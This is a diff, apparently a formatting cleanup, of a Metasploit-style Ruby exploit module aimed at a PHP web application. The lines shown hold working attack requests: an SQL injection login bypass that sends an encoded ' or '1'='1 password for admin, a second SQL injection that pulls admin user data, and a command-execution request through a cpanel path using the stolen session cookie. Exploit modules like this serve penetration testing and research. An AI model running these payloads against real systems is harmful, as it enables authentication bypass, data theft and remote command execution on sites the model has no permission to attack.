@@ -54,12 +54,12 @@ def check_version()
54
54
uri = target_uri . path
55
55
56
56
send_request_cgi ( {
57
- 'method' => 'GET' ,
58
- 'uri' => normalize_uri ( uri , 'changelog.txt' ) ,
59
- 'headers' => {
60
- 'User-Agent' => 'Mozilla/5.0' ,
61
- 'Accept-Encoding' => 'identity'
62
- }
57
+ 'method' => 'GET' ,
58
+ 'uri' => normalize_uri ( uri , 'changelog.txt' ) ,
59
+ 'headers' => {
60
+ 'User-Agent' => 'Mozilla/5.0' ,
61
+ 'Accept-Encoding' => 'identity'
62
+ }
63
63
} )
64
64
end
65
65
@@ -69,16 +69,14 @@ def sqli_auth_bypass()
69
69
send_request_cgi ( {
70
70
'method' => 'POST' ,
71
71
'uri' => normalize_uri ( uri , 'index.php' , 'go_login' , 'validate_credentials' ) ,
72
- 'headers' =>
73
- {
72
+ 'headers' => {
74
73
'User-Agent' => 'Mozilla/5.0' ,
75
74
'Accept-Encoding' => 'identity'
76
- } ,
77
- 'vars_post' =>
78
- {
75
+ } ,
76
+ 'vars_post' => {
79
77
'user_name' => 'admin' ,
80
78
'user_pass' => '\'%20or%20\'1\'%3D\'1'
81
- }
79
+ }
82
80
} )
83
81
end
84
82
@@ -88,13 +86,12 @@ def sqli_admin_pass(cookies)
88
86
send_request_cgi ( {
89
87
'method' => 'GET' ,
90
88
'uri' => normalize_uri ( uri , 'index.php' , 'go_site' , 'go_get_user_info' , '\'%20OR%20active=\'Y' ) ,
91
- 'headers' =>
92
- {
89
+ 'headers' => {
93
90
'User-Agent' => 'Mozilla/5.0' ,
94
91
'Accept-Encoding' => 'identity' ,
95
92
'Cookie' => cookies
96
- }
97
- } )
93
+ }
94
+ } )
98
95
end
99
96
100
97
#
@@ -110,13 +107,11 @@ def execute_command()
110
107
'method' => 'GET' ,
111
108
'uri' => normalize_uri ( uri , 'index.php' , 'go_site' , 'cpanel' , params ) ,
112
109
'headers' => {
113
- 'User-Agent' => 'Mozilla/5.0' ,
114
- 'Accept-Encoding' => 'identity' ,
115
- 'Cookie' => @cookie
116
-
110
+ 'User-Agent' => 'Mozilla/5.0' ,
111
+ 'Accept-Encoding' => 'identity' ,
112
+ 'Cookie' => @cookie
117
113
}
118
- } )
119
-
114
+ } )
120
115
end
121
116
122
117
0 commit comments